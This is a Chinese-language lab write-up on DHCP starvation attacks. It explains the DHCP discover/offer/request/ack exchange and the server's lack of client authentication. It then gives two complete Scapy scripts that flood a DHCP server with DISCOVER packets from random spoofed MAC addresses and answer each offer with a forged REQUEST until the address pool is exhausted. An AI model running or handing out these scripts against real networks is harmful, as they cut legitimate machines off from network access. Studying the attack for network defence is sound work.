DHCP 泛洪攻击小实验
DHCP 泛洪攻击
攻击原理:通过虚拟随机生成的mac 地址占用DHCP 服务器中的地址池,达到正常机器无法获取到IP 地址从而无法上网
DHCP 协议原理
DHCP 是为了解决静态IP 地址,每次都需要进行手动输入IP的不方便
DHCP 客户端端口68 ,DHCP 服务端端口 67
-
首先Client 由于仅仅存在mac 地址,所以需要获取一个未占用的IP 用于进行标识身份上网
-
由于Client 并不知道DHCP Server 的IP和mac,所以会发送一个广播包 Discover(包内信息带有自身mac)
-
DHCP Server 收到请求后,检查自身地址池,若存在空闲IP,向Discover 请求包源MAC 进行Offer 回包(默认为广播包,可以指定为单播包)
-
Client 收到Offer 包后,进行筛选,筛选完成后确认该IP 地址,向DHCP Server 发起 Request 包用于确认该IP地址(Request 包为广播包)
-
DHCP Server 收到Request 包后,在地址池中标记为此IP 已被使用,且保存其绑定的MAC 地址,进行ACK 确认包告知Client 无误

思考:
为什么需要进行四次握手的方式才能获得IP?若是仅获取IP的话,完全可以Discover 包发起请求,Offer包回IP地址完成一次IP分配。
由于在真实的网络环境中,往往不会仅仅存在一台DHCP 服务器,而是存在多台的,若是采用Discover + Offer 的方式分配地址的话,会造成大量的IP 地址浪费,而Request 包作为广播就是为了告知所有的DHCP Server 不会使用其IP。从而不会造成地址的浪费;
漏洞点
整体从DHCP 的原理看下来,不难发现,在完成一个完整的IP 分配后,完全不会校验Client 的真实性;从而导致了一台Client 就可以伪造大量MAC 地址,按照DHCP 协议的四个数据包向Server 发起请求,即可完成占用完IP 地址池
DHCP 泛洪脚本
这里没有用到多线程的方式实现泛洪,而是采用一发一监听的方式实现泛洪(因为Client 总共发两个数据包 Discover + Request)
数据包的构建,只需要提供源MAC 即可,并在DHCP 包头标明数据包类型
xid : 用于标识数据包
src : 源mac/ip
dst : 目标mac/ip
BOOTP : DHCP 的最初协议,DHCP 就是基于BOOTP 升级的协议
from scapy.all import *
# xid 为一个客户端BOOTP 数据包的一个随机数字
for i in range(300):
xid_random = random.randint(1,1000000000)
mac_random = str(RandMAC())
dhcp_discover = Ether(src=mac_random,dst="ff:ff:ff:ff:ff:ff")\
/ IP(src = "0.0.0.0",dst = "255.255.255.255")\
/ UDP(sport=68,dport=67)\
/ BOOTP(chaddr=mac_random,xid=xid_random,flags=32768)\
/ DHCP(options=[("message-type","discover"),"end"])
sendp(dhcp_discover,iface="以太网 2")
print("\n\n\nSending DHCPDISCOVER on" + "WLAN")
time.sleep(1)
监听对应的物理网卡,筛选规则目标端口为DHCP 客户端从而可指定为Offer 或 ACK
这里需要取出关键的IP + Server IP + xid 即可,其余按照Request 包进行构建即可
from scapy.all import *
def dhcp_request(pkt):
if pkt[DHCP].options[0][1]==2:
Ether_Request = Ether(src=pkt[BOOTP].chaddr,dst = pkt[Ether].src)
IP_Request = IP(src="0.0.0.0",dst="255.255.255.255")
UPD_Request = UDP(sport=68,dport=67)
BOOTP_Request = BOOTP(chaddr=pkt[BOOTP].chaddr,xid=pkt[BOOTP].xid)
DHCP_Request = DHCP(options=[("message-type","request"),("server_id",pkt[IP].src),("requested_addr",pkt[BOOTP].yiaddr),"end"])
Request = Ether_Request/IP_Request/UPD_Request/BOOTP_Request/DHCP_Request
sendp(Request,iface="以太网 2")
print(pkt[BOOTP].yiaddr+"正在分配")
elif pkt[DHCP].options[0][1]==5:
print(pkt[BOOTP].yiaddr+"已被分配")
else:
print("所有的IP已被泛洪分配完毕")
sniff(iface="以太网 2",filter="port 67",prn=dhcp_request,count=500)

浙公网安备 33010602011771号